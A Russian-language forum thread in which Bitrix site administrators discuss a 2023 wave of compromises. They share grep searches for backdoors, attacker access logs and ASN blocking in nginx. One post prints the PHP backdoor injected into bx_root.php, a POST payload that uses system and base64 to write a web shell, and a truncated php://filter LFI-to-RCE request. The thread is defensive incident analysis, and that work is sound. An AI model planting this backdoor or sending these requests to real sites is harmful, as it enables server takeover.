я бы чуток модифицировал - искать смысл только в php и вывод в файлик для дальнейшего анализа
Код
grep -rnw str_rot13 ./*.php > rot13.log
можно ещё "eval(" и "base64_decode(" поискать - тоже часто используют в бэкдорах но там много будет из не зараженного у меня в /bitrix/bitrix.php такая инъекция была @eval($_POST['DOCUMENT_ROOT'];
написал: я бы чуток модифицировал - искать смысл только в php и вывод в файлик для дальнейшего анализа
на счёт вывода в файл согласен eval, base64, parse_str - тоже прогонял сочетания
а по поводу чисто по php искать не согласен, могут и в картинки запихивать, да и в любые расширения, учитывая что в htaccess можно любое расширение прописать исполняемым. Гарантии нет, что какую то закладку не положили ещё летом или осенью у клиентов.
написал: по восстановлению файлов ядра Битрикс - статья в 2х словах/bitrix/admin/update_system.php?BX_SUPPORT_PROTOCOL3=Yгде 3 - день месяца (сегодня 3)
Алексей, а потом люди пойдут в ТП, потому что таким способом корректно восстановить ядро может только она. Я понимаю, что это куда меньшее зло по сравнению с вирусом, но все же.
Не надо сверлить зубы через задний проход дрелью от Сваровски
Евгений Жуков написал: Алексей, а потом люди пойдут в ТП, потому что таким способом корректно восстановить ядро может только она. Я понимаю, что это куда меньшее зло по сравнению с вирусом, но все же.
для чего тогда в админке заложен такой функционал?
Кстати, раз уж Вы тут - без помощи ТП как то можно замечания по изменению файлов ядра самому фиксить?
просто сколько я не запускал монитор качества - эта проблема абсолютно везде всплывала, как правило все на неё "забивают" разве что кроме совсем свежих проектов
На наши серверы стали постить не на главную страницу, а на /bitrix/tools/spread.php. x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "POST /bitrix/tools/spread.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:49.0) Gex x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "GET /bitrix/admin/1dbc26cfe5c3.php HTTP/1.1" 403 124 " "Mozilla/5.0 (Windows NT x x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "POST /bitrix/tools/spread.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NTx m185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "GET /bitrix/admin/1dbc26cfe5c3.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NT
Предварительно заблочили весь ASN https://asn.ipinfo.app/AS210644 провайдера aeza, заметили что оттуда оосновная масса вредоносных запросов поступает. Блокировали через правила в nginx (через include запрещающих правил типа https://asn.ipinfo.app/api/text/nginx/AS210644). Репорт на абуз серверов отправлен дня 4 назад, пров молчит как партизан.
Знаю, что костыль и что это не решение проблемы, но пока так..
написал: для чего тогда в админке заложен такой функционал?
Для техподдержки. Этот функционал не является публичным, не эквивалентен корректной установке обновлений и требует ручных действий по окончании. Можете по форуму поискать темы на предмет двойного декларирования классов в модулях.
Цитата
написал: Кстати, раз уж Вы тут - без помощи ТП как то можно замечания по изменению файлов ядра самому фиксить?просто сколько я не запускал монитор качества - эта проблема абсолютно везде всплывала, как правило все на неё "забивают"разве что кроме совсем свежих проектов
Поясните. Если речь идет о провале тестов на заведомо неизменном проекте - это наша проблема (тикет, фикс). Если о том, чтобы восстановить битый/зараженный файл - только в ТП.
Не надо сверлить зубы через задний проход дрелью от Сваровски
написал: На наши серверы стали постить не на главную страницу, а на /bitrix/tools/spread.php. x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "POST /bitrix/tools/spread.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:49.0) Gex x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "GET /bitrix/admin/1dbc26cfe5c3.php HTTP/1.1" 403 124 " "Mozilla/5.0 (Windows NT x x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "POST /bitrix/tools/spread.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NTx m185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "GET /bitrix/admin/1dbc26cfe5c3.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NT
Предварительно заблочили весь ASN https://asn.ipinfo.app/AS210644 провайдера aeza, заметили что оттуда оосновная масса вредоносных запросов поступает. Блокировали через правила в nginx (через include запрещающих правил типа https://asn.ipinfo.app/api/text/nginx/AS210644 ). Репорт на абуз серверов отправлен дня 4 назад, пров молчит как партизан.
Знаю, что костыль и что это не решение проблемы, но пока так..
Владислав Боднарь написал: и таких мест может быть миллионвыше был способ поиска по подстроке, похоже единственно реальный метод сейчас
да, похоже все последние закладки по str_rot13 находятся - хороший способ но тем не менее надо сначала фиксить дыры ... следующие закладки будут другие
Разбор того как работает взлом через POST к главной странице.
Используя ДРУГУЮ уязвимость поражают \bitrix\modules\main\bx_root.php дописывая в его конец это:
Код
<?
if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
?>
Видимо по архитектуре Битрикса файл bx_root.php будет задействован при любом запросе. По крайне мере при запросе в корень точно. Далее, атакующий в любой удобный момент времени посылает POST запрос примерно следующего содержимого:
0=system&1=echo PD89N.....DA5NzI1lIl0pO319Pz4=|base64 -d| tee 5b186f810c33.php
parse_str заполнит 3 элемента массива $bx_stat, а потом будет вызвана функция с 2-мя аргументами $bx_stat[0]( $bx_stat[1], $bx_stat[2] ) и чаще всего это будет file_put_contents( virus_name, virus_body )
Первый запрос GET к корню, потом экплойт через POST. Спустя несколько секунд проверка шелла GET /5b186f810c33.php Как лечить? Удалить в bx_root.php добавленный код if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
Но это все следствия! Как и множество других "страшнозакодированных" скриптов и .htaccess'ов которые здесь постили. Причина, в моем случае точно, в другом. Вот с чего все начиналось:
Код
POST /products/index.php?ID=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.....
У Битрикса где-то внутри стоит что-то вроде include($_POST). Это и есть уязвимость LFI2RCE via PHP Filters! Весь этот запрос ( он у меня есть ) путем манипуляций кодировок превращается в следующий код:
Все полные логи и коды запросов имеются, могу выслать желающим
У меня в логах ничего похожего не видать, а результаты с htaccess'ами и рандомными файлами налицо. Версии файлов у меня от 2020 года. После накатывания бэкапа часа через два лезть всякое начинает. Но, может, плохо ищу. И CSISO2022KR тоже не вижу.